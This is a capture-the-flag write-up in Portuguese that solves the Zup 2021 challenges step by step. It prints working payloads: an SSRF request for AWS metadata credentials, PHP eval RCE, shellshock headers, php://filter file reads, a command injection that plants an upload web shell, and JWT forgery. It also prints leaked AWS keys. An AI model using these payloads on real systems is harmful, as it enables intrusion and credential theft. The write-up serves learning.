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GuillaumeFalourd/ctf-zup-2021

 
 

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🚩 CTF Zup 2021 Write up 1#

Este documento contém todas as minhas respostas (passo a passo) e ferramentas utilizadas para resolução dos desafios do CTF Zup 2021

Categorias

  1. Cloud Security
  2. Reverse
  3. Web Security
  4. Trivia
  5. Forense
  6. Ferramentas

Cloud Security ☁️

Can you find information about the instance?

Esse desafio nos dá uma página web hospedada em um servidor AWS, com um formulário simples que tem como action um arquivo de nome code.php e um query string de nome url.

About Instance

Qualquer coisa enviada nesse query string retorna uma resposta 200 com cabeçalho de content-type image/png. Tento então enviar o próprio nome da página como parâmetro (code.php) e uma "imagem" me é retornada. Essa imagem é na verdade o código fonte da página, e com ele fica mais fácil entender o que podemos fazer aqui.

<?php
/**
* Check if the 'url' GET variable is set
* Example - http://localhost/?url=http://site.com
*/
if (isset($_GET['url'])){
$url = $_GET['url'];

/**
* Send a request vulnerable to SSRF since
* no validation is being done on $url
* before sending the request
*/
$image = fopen($url, 'rb');

/**
* Send the correct response headers
*/
header("Content-Type: image/png");

/**
* Dump the contents of the image
*/
fpassthru($image);}

Sabendo que o desafio se trata de informações sobre a instância aws, tento então passar como parâmetro a url abaixo http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

E isso me retorna credenciais válidas para autenticação através do aws cli. Após isso basta utilizá-las para executar os comandos

aws s3api list-buckets
aws s3 cp s3://flag-ctf/flag.txt ./
cat flag.txt

About Instance

Para descobrir os buckets que essas credenciais têm acesso e obter a nossa flag

About Instance

Make the server give you the flag!

Esse desafio nos dá a url abaixo

https://nzko6vbnx0.execute-api.sa-east-1.amazonaws.com/CTF a qual, se acessada através do método GET nos retorna

{
    "message": "Missing Authentication Token"
}

Mas basta então executar a mesma requisição com o método POST e a flag é retornada. Aparentemente a necessidade de autenticação não existe para todos os métodos HTTP ;)

{
    "statusCode": 200,
    "body": "\"Hello from Lambda! flag: ZUP-{Infl3xA0_nB_r4_b_A}\""
}

I made a mistake!

Esse desafio nos dá uma página html bem simples com uma dica 'Acho que está seguro'.

https://invoke-batata.s3-sa-east-1.amazonaws.com/index.html

Aproveitando que já tinha conseguido as credenciais da aws nos desafios anteriores, volto novamente ao aws cli e procuro por algo relacionado a este desafio por lá.

aws s3 ls s3://invoke-batata

Mistake

E encontro um arquivo key.txt com outras credenciais AWS. Seto então essas credenciais como envs esperadas pelo aws cli

Mistake

export AWS_ACCESS_KEY_ID=AKIAUYWIIKCH42OKFH7F
export AWS_SECRET_ACCESS_KEY=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

e executo os comandos abaixo

aws configure set region sa-east-1
aws lambda list-functions
aws lambda invoke --function-name VulnerableFunction response.json

Que fazem, respectivamente, listar as funções lambdas disponíveis e executar a "função vulnerável" que nos retorna a flag.

Mistake

No One Knows!

Este desafio nos dá uma página com apenas uma imagem e um trecho de música escondido em um comentário html XD. Existe ainda na página um comentário citando um repo git. Ao acessar o repo é possível ver no histórico um commit mencionando um arquivo txt e credenciais AWS para acesso ao tal arquivo.

Who knows

Tento então acessar o arquivo pela url

https://noonekonws-ctf.s3.us-west-2.amazonaws.com/aaaaaaaaaaaa.txt

Passando as credenciais via query string, porém é retornado erro dizendo que esse request já está expirado. Após procurar mais um pouco chego na conclusão que seria possível acessar executando o comando abaixo no aws cli

aws s3 presign s3://noonekonws-ctf/aaaaaaaaaaaa.txt

Pois esse recurso nos gera uma nova url válida, que ao ser acessada retorna então nossa flag ;)

Who knows

Reverse 🔑

Incredible Obfuscation

Esse desafio nos apresenta uma página html que executa um alert solicitando uma senha. Ao digitar qualquer coisa é exibido um dialog com o dizer 'WRONG PASSWORD'

Obfuscation

Ao analisar a página percebo que se trata apenas de html e javascript, e que toda a lógica para obter a flag estaria no próprio front. O javascript contém menções para a função fromCharCode e também a string em hex abaixo

'\x39\x30\x20\x38\x35\x20\x38\x30\x20\x34\x35\x20\x31\x32\x33\x20\x31\x30\x31\x20\x39\x37\x20\x31\x31\x35\x20\x31\x32\x31\x20\x39\x35\x20\x31\x30\x32\x20\x31\x30\x38\x20\x39\x37\x20\x31\x30\x33\x20\x39\x35\x20\x35\x32\x20\x39\x35\x20\x31\x31\x31\x20\x31\x31\x30\x20\x39\x39\x20\x31\x30\x31\x20\x39\x35\x20\x31\x30\x35\x20\x31\x31\x30\x20\x39\x35\x20\x39\x37\x20\x39\x35\x20\x31\x31\x39\x20\x31\x30\x34\x20\x31\x30\x35\x20\x31\x30\x38\x20\x31\x30\x31\x20\x31\x32\x35'

Que parecia ser a nossa flag! Bastou então executar o script abaixo para obtê-la:

'\x39\x30\x20\x38\x35\x20\x38\x30\x20\x34\x35\x20\x31\x32\x33\x20\x31\x30\x31\x20\x39\x37\x20\x31\x31\x35\x20\x31\x32\x31\x20\x39\x35\x20\x31\x30\x32\x20\x31\x30\x38\x20\x39\x37\x20\x31\x30\x33\x20\x39\x35\x20\x35\x32\x20\x39\x35\x20\x31\x31\x31\x20\x31\x31\x30\x20\x39\x39\x20\x31\x30\x31\x20\x39\x35\x20\x31\x30\x35\x20\x31\x31\x30\x20\x39\x35\x20\x39\x37\x20\x39\x35\x20\x31\x31\x39\x20\x31\x30\x34\x20\x31\x30\x35\x20\x31\x30\x38\x20\x31\x30\x31\x20\x31\x32\x35'.replaceAll(" ",",").split(",").map(n => String.fromCharCode(n)).join('')

O que nos retorna a flag ZUP-{easy_flag_4_once_in_a_while}

Secret in the front-end is OK!

A url desse desafio é http://54.232.129.62/e1d9018d-a3a3-4c00-af1b-427e446a5b6c/ e... OK, esse desafio também parece ser apenas do tipo client-side, até mesmo pelo seu título. Porém o seu código é bem difícil de entender!

Frontend is safe

Ok, se não podemos entendê-lo então vamos debugá-lo. Mas ao tentar fazer isso tenho uma surpresa, ficamos em loop por breakpoints em funções anônimas

Frontend is safe

Resolvo então fazer download do código e processá-lo em um javascript beautifier (codebeautify.org/jsviewer), para pelo menos ter um código identado. Salvo o arquivo novo, agora um pouquinho melhor de acompanhar.

Frontend is safe

Vejo que há pelo código trechos com a palavra debugger ou ainda lugares que contém apenas um trecho dessa string como debu, e penso que eles são os vilões por trás do meu loop. Apenas troco para algo como debugx ou ainda debub e executo novamente. Boa! Sem mais problemas com o loop infinito em debug. Acompanho então o código, e vou adicionando logs ao longo dele para auxiliar no processo de entender o funcionamento. Vejo um if curioso e resolvo alterá-lo.

Frontend is safe

Ao atualizar a página vejo a flag no console XD

ZUP-{n0_f1n4l_3_53mpr3_um4_p3551m4_1d314}

Web Security 💻

Simple Eval

Esse desafio nos apresenta o endereço http://18.231.79.49:8088/ o qual parece ser uma simples página html, porém com o comentário abaixo

<!--
$str=@(string)$_GET['str'];
blockListFilter($block_list, $str);
eval('$str="'.addslashes($str).'";');
-->

OK, esse é um código vulnerável que pressupõe que precisamos usar aspas para programar em PHP e que a atribuição do parâmetro a uma variável faz o uso do eval ser uma boa ideia. Atribuindo o código abaixo ao parâmetro str

${eval($_GET[chr(99)])}

e enviando código php na query string 'c' , conseguimos atingir a execução de código php no servidor (RCE)

Alguns comandos após chego na url final que possibilita a leitura da flag

http://18.231.79.49:8088/?str=${eval($_GET[chr(99)])}&c=system('cat ../../../flag/flag.txt');

ZUP-{alkdjsEfdskljdaseAxcV==}

My New Browser

Esse desafio nos da um endereço http://18.231.79.49:10080/ que retorna o texto abaixo

This site best viewed in [Zup-Web-Browser] the best browser in the world!

HM...envio o request novamente, porém agora com o header User-Agent: Zup-Web-Browser E ele me retorna uma mensagem um tanto engraçada kkk

Get out of here, Hacker!! This page can only be accessed from the local client!

Refaço a requisição pela terceira vez, mas agora adicionando o header X-Forwarded-For com o valor 127.0.0.1 e por fim ele me retorna a flag ZUP-{klapaucius}

09/24/2014

Ok, esse desafio nos da o endereço http://challenges.ctfd.io:30114/ e uma data. Uma data. Imagino que seja a data de uma falha importante e procuro por isso no google: CVE 2014-09-24. Descubro uma falha conhecida como shellshock, uma baita falha no bash em servidores linux/mac. Essa vulnerabilidade permite execução de código bash de forma remota, enviando esse código em um header como o User-Agent, por exemplo. Duas requisições com o header User-Agent atribuído às linhas abaixo bastam para encontrar e ler a flag

() { :; }; echo ls; #valor do header no request1
() { :; }; cat flag.txt; #valor do header no request2

Nossa flag ZUP-{7623478647386243274}

E cara.. que vulnerabilidade bizarra!

Internal Problems

Esse desafio estava disponível no endereço http://challenges.ctfd.io:30106/ e nos apresenta uma página html contendo um código em php, supostamente o código que está rodando no servidor.

Este código contém um include para um arquivo chamado secret.php, que provavelmente é a nossa flag, porém acessível somente caso o if abaixo seja atingido

<?php

if (
    isset($_POST['pepino']) &&
    $_POST['pepino'] != 'aabC9RqS' &&
    md5('aabC9RqS') == md5($_POST['pepino'])
) {
    include('secret.php');
    print $super_secret;
} else {
    show_source(__FILE__);
}

Num primeiro momento, aparentemente somente a string aabC9RqS deveria ser enviada para que o md5 gerasse o mesmo hash e a condição do if fosse alcançada, porém o mesmo if trata de não nos permitir enviar essa string.

Sabendo da existência de colisões no algoritmo de hash md5, procuro no google pelo termo utilizado no if aabC9RqS a fim de verificar se já existe algum outro valor conhecido que colida com este e acabo encontrando seu par de colisão: aabg7XSs. Basta então enviar esse segundo no request e a flag ZUP-{ju66l1n6_b3_my_6u1d3} nos é retornada :)

Jail Want Tonic

O desafio disponível em http://18.231.79.49/ nos apresenta uma página html com um bom tom de humor, satirizando empresas "faz tudo" e descoladas xD. Ao executar o dirseach na página encontro alguns diretórios interessantes, que num primeiro momento apesar de indicados na própria pagina haviam passado batidos

dirsearch -u http://18.231.79.49/

Jail want Tonic

Descubro a existência dos diretórios /login e /admin e ao entrar no primeiro é exibida um formulário de login que aparenta aceitar qualquer usuário e senha e nos gera um JWT válido. Na mesma página de login há a indicação da secret JWT utilizada no backend (nos mostrando a importância de guardá-la bem e não reutilizá-la em sistemas e/ou ambientes distintos).

<!--JWT_SECRET=Th1sSECr3TMu5TN0Tb3L43KEDEv3RRRRRR!!1-->

Ao realizar a requisição abaixo, por exemplo

curl -s -i 'http://18.231.79.49/login' \
--data-raw 'username=admin&password=123' | grep 'x-access-token'

Nos é retornado um JWT válido como o seguinte

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5xenZhIiwicGFzc3dvcmQiOiIxMjMiLCJhZG1pbiI6InNueWZyIiwiaWF0IjoxNjE5NTYyMjk4fQ.yslwz-NaROVsC2G3EWOAgTNNxP26I6cbLFBvuC7fvYg

Que guarda o seguinte payload

{
  "username": "nqzva",
  "password": "123",
  "admin": "snyfr",
  "iat": 1619562298
}

Percebo duas coisas importantes aqui. Que existe um atributo 'admin' e que o username não é o mesmo que eu informei, parece existir algum algoritmo que ofusca alguns campos do payload do JWT, o que é legal para tentar manter certos dados do token sigilosos. Tento acessar, então, o diretório de 'Admin', utilizando esse JWT:

curl 'http://18.231.79.49/Admin/' -s \
  -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5xenZhIiwicGFzc3dvcmQiOiIxMjMiLCJhZG1pbiI6InNueWZyIiwiaWF0IjoxNjE5NTYyNDg2fQ.-6qEI5PLltqwAiFLwiee0axLX9Qs1dVC7O3iD-zAmww'

E o retorno do servidor é : Access Denied: You are not an Admin. Resolvo então fazer um request enviando como nome do admin o tal valor snyfr que me foi retornado no payload do JWT

curl -s -i 'http://18.231.79.49/login' \
--data-raw 'username=snyfr&password=123' | grep 'x-access-token'

E para minha satisfação o JWT retornado contém o payload

{
  "username": "false",
  "password": "123",
  "admin": "snyfr",
  "iat": 1619562915

O campo admin é, na verdade, um booleano que indica se somos ou não admin, e para saber qual seria a string que significaria 'true' basta um request enviando 'true' como username, o que nos retorna 'gehr'. Mas se a flag admin é preenchida internamente e está como false, como consigo mudar isso? Com a secret do JWT nós podemos alterar o payload do JWT e manter sua assinatura ainda válida. Utilizo para isso a ferramenta jwt.io

Jail want Tonic

Boa, agora temos um jwt válido e indicando que somos admin! Testo a requisição novamente com esse novo token

curl 'http://18.231.79.49/Admin/' -s \
  -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJhZG1pbiI6ImdlaHIiLCJpYXQiOjE2MTk1NjMxMzl9.-pJPU_2EmGiFoY-CjoG0IT_zXfhcGH6M7nHLL-XPLPc'

Mas agora recebo outro erro: Username not found in admin list.

Volto à página inicial do site e reparo que existe um menu chamado 'Our admins'. Esse link retorna um arquivo, e neste arquivo existem alguns nomes de admins. Altero novamente no JWT, dessa vez o atributo username, para que contenha um dos nomes da lista (ofuscado com o tal algoritmo que transforma true em gehr e que não nos é necessário saber a origem uma vez que basta um request para ofuscar um valor desejado)

curl 'http://18.231.79.49/Admin/' -s \
  -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Indid2IiLCJwYXNzd29yZCI6IjEyMyIsImFkbWluIjoiZ2VociIsImlhdCI6MTYxOTU2MzY5Nn0.exwPDuBJdHwbhxThXchcGryrlo8YcCM2gtgACMMkLvQ'

E agora sim, parece que nossa flag está à vista : Hey jojo! Here's your flag: MHC-{vqqdq vqxsn}

Faço um último request passando como username a própria flag, e obtenho ela em texto plano.

curl -s -i 'http://18.231.79.49/login' \
--data-raw 'username=MHC-{vqqdq vqxsn}&password=123' | grep 'x-access-token'

Jail want Tonic

E por fim temos nossa flag: ZUP-{iddqd idkfa}

Wrong page!

Esse desafio nos dava uma página html de url http://54.232.129.62/61ec5ae1-cfbf-4b83-b432-5644c916c94b/ com o dizer 'página errada'. Demorou um tempo para eu sacar e olhar no css, que a flag na verdade estava em um comentário dentro do css.

Zupinhas Wrong Page

A flag era ZUP-{w3lc0me}

Damn bro, I like pizza!

Esse desafio nos apresenta uma página com um texto simples dizendo que a mente por trás da chal gosta muito de pizza, mas sem ketchup. Ao analisar o response do servidor vejo que existe uma diretiva em header que define um Cookie de nome 'pizza' e com o seguinte valor

N2ZhM2I3NjdjNDYwYjU0YTJiZTRkNDkwMzBiMzQ5Yzc%3D

Ao analisar a string é possível identificar que ela está, na verdade, em base64. E após decodificar, identifico um hash md5 que descubro ser bem comum (ao jogar no google) que é gerado a partir da palavra 'no'. Faço então o processo reverso, tirando um hash md5 da palavra 'yes' e codificando como base64. E por fim temos dois cookies, que fazem todo o sentido com a narrativa da chall. O autor ama pizza, mas odeia ketchup. O nosso cookie deveria ser, então, algo como o seguinte

document.cookie = `ketchup=${btoa(md5('no'))};pizza=${btoa(md5('yes'))}`

E ao acessar a página com esses cookies, temos a flag ZUP{p1zz4_qu3n71nh4_hmmmmmmm}

The Final Countdown

Esse desafio nos da o endereço http://challenges.ctfd.io:30119/?page=service e ao acessar a página temos apenas um texto Only authorized people can access this page. e um cookie 'PASSWORD=password' e a menção para um parâmetro 'debug'. Faço alguns testes com esse tal parâmetro debug e nada. Decido então rodar um dirsearch e descubro a existência do arquivo /root/config.php.

Acesso esse arquivo mas não tenho sucesso em lê-lo diretamente, pois é retornado o texto Don't access this file directly!. Tento então inserir esse arquivo como parâmetro da query string page, acessando a url http://challenges.ctfd.io:30119/?page=root/config Percebo que essa chamada retorna sucesso, enquanto, por exemplo, uma chamada http://challenges.ctfd.io:30119/?page=root/configabc retorna 500.

A conclusão é que temos uma função php include que está sendo mal utilizada, uma vez que esse include aparentemnte simplesmente recebe o nosso parâmetro e inclui o arquivo php, sem fazer nenhuma validação do que é input do usuário. Algo como o código

<?php
include($_GET['page'] . '.php')

Mas se eu não consigo fazer uploads de arquivos php para obter um RCE e aparentemente também não consigo incluir arquivos remotos (pois o servidor parecia protegido quanto a isso), o que posso tirar disso?

Após alguns testes e pesquisas percebo que é possível, no entanto, fazer uso do protocolo php para ler o conteúdo dos arquivos php e aí sim entender o que está acontecendo por trás do frontend!

Faço o seguinte request

curl -s 'http://challenges.ctfd.io:30119/?page=php://filter/convert.base64-encode/resource=root/config'

E valido a hipótese! Conseguimos mesmo ler o código do server, obtendo o retorno em base64 e decodificando o mesmo :) Leio também o código da própria página service, fazendo o request

curl -s 'http://challenges.ctfd.io:30119/?page=php://filter/convert.base64-encode/resource=service'

E aqui se encontra o código desta última

<?php
ini_set('max_execution_time', 5);
include_once("./root/config.php");

if ($_COOKIE['password'] !== md5($password)) {
    setcookie('password', 'PASSWORD');
    echo "<!-- For debugging try parameter debug -->";
    die('Only authorized people can access this page.');
}

if (isset($_POST["debug"])) {
    echo "The Character Count is: " . exec('printf \'' . $_POST["debug"] . '\' | wc -c') . ".";
}

O tal parâmetro debug então, na verdade deveria ser usado via post. E nunca seria executado se o cookie password não fosse igual ao hash da variável $password, que se encontra definida no nosso outro arquivo, o root/config.php

<?php

$password = "w3'r3 h34d1n' f0r v3nu5 (v3nu5)";

// I think this is vulnerable, but still in dev
if(count(get_included_files()) == 1) {
    echo "Don't access this file directly!";
}

Tiro o hash md5 desse texto, que nos dá o valor f2464cff8995243e54b0c7e37c02f878 e faço um novo request (POST) enviando ele no cookie PASSWORD e enviando o parâmetro debug como 'a'

curl -L -X POST 'http://challenges.ctfd.io:30119/?page=service' -H 'Cookie: password=f2464cff8995243e54b0c7e37c02f878' -F 'debug="a"'

Boaa!! Obtemos um novo retorno The Character Count is: 1. Voltando ao código fonte novamente, percebemos que existe uma função exec também vulnerável a injeção de código shell, e aí sim temos um RCE!.

Após alguns testes sem sucesso de ler a flag diretamente através dessa página, resolvo fazer upload de arquivo php para o servidor, pois apesar de vulnerável a UX do invasor não estava das mais agradáveis xD injetando código através do parâmetro debug. Para fazer o upload de um código php faço o request abaixo

curl -L -X POST 'http://challenges.ctfd.io:30119/?page=service' -H 'Referer: http://18.231.79.49/login' -H 'Cookie: password=f2464cff8995243e54b0c7e37c02f878' -F 'debug="<!DOCTYPE html><html><head>  <title>File Upload</title></head><body>  <form enctype=\"multipart/form-data\" action=\"\" method=\"POST\">    <p>Upload your file</p>    <input type=\"file\" name=\"uploaded_file\"></input><br />    <input type=\"submit\" value=\"Upload\"></input>  </form></body></html><?PHP if(!empty($_FILES[\"uploaded_file\"])) { $path = \"\"; $path = $path . basename( $_FILES[\"uploaded_file\"][\"name\"]); if(move_uploaded_file($_FILES[\"uploaded_file\"][\"tmp_name\"], $path)) { echo \"The file \". basename( $_FILES[\"uploaded_file\"][\"name\"]). \" has been uploaded\"; } else{ echo \"There was an error uploading the file, please try again!\"; } } ?>'\'' >> zlanafazuploadporaqui.php #"'

E agora temos um formulário de upload sem nenhuma restrição no servidor, e pronto para nosso uso! Acesso a minha página http://challenges.ctfd.io:30119/zlanafazuploadporaqui.php e faço upload de um projeto open source (de um arquivo) muito massa chamado phpbash. Nada mais faz do que nos fornecer um terminal com uma UX bem melhor!

Acesso então o meu terminal pessoal

The fucking final countdown

Após algumas explorações, descubro a localidade da flag

The fucking final countdown

Mas não consigo ler seu conteúdo, pois sua permissão é 640 e o seu dono é o usário netsparker enquanto eu estou rodando sob o www-data (apache).

The fucking final countdown

Após vários artigos de privesc lidos e nenhum sucesso e conseguir bypassar a permissão, tento autenticar o netsparker com a senha netsparker, e a vulnerabilidade estava na minha cara o tempo todo. A senha do netsparker era netsparker!

echo 'netsparker' | su netsparker -c 'cat ../../../../../flag/secos/e/molhados/flag.txt'

The fucking final countdown

E a nossa valiosa flag era ZUP-{mu51c4_p0pul4r_br451l31r4_4b0v3_4ll}

Trivia 🤔

Baby steps (Start here)

Esse "desafio" nos dá a flag de graça e as boas-vindas ao evento o/

Flag enters the chat

Existe nesse desafio uma descrição que diz que a flag foi escondida na própria plataforma do CTF. Após alguma análise consigo encontrá-la na página inicial como um comentário html no código da página

<!-- WlVQLXt2MWQ0X2wwazRfNzRtYjNtXzRtNH0= -->

Que após decodificado (base64) retorna o texto ZUP-{v1d4_l0k4_74mb3m_4m4}

Webmasters like to keep things private

Esse desafio se trata de um servidor 'escondido'. E nos dá duas dicas sobre, um IP em hex 0x36e8813e e um domínio nada convencional pepino.brocolis Bastou então converter o ip hex em decimal (google hex ip to decimal) para obtermos o endereço 54.232.129.62 Bastou então acessar o ip passando o header host : pepino.brocolis

curl 54.232.129.62 -H "Host: pepino.brocolis"

Para obter nossa flag

Flag: ZUP-{h16h_w4y_7h3_h3ll_05_n0t}

Feedback time

Esse foi o momento de responder ao time o que achamos do evento e qual o desafio que mais curtimos. Deixando público meu feedback, da minha parte o mais divertido e desafiador foi também o mais valioso: The final countdown. Sensacional!!

Forense 🔍

My repo is broken

Esse desafio nos dá um zip com repositório git quebrado e diz que a flag está lá dentro. Bastou utilizar um editor de texto como o Sublime e buscar pela palavra chave ZUP, e após alguns testes e flags falsas é possível encontrar a verdadeira ZUP-{345y_b0y_345555yyyyy}

Ferramentas 🔨

AWS Cli

CLI da AWS disponível neste link

dirsearch

Ferramenta open-source de varredura por diretórios comuns disponível em

Burp Suite Community Edition

Ferramenta para busca de vulnerabilidades web disponível em

PHP Bash

Sistema open-source em PHP que simula um terminal bash disponível em

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published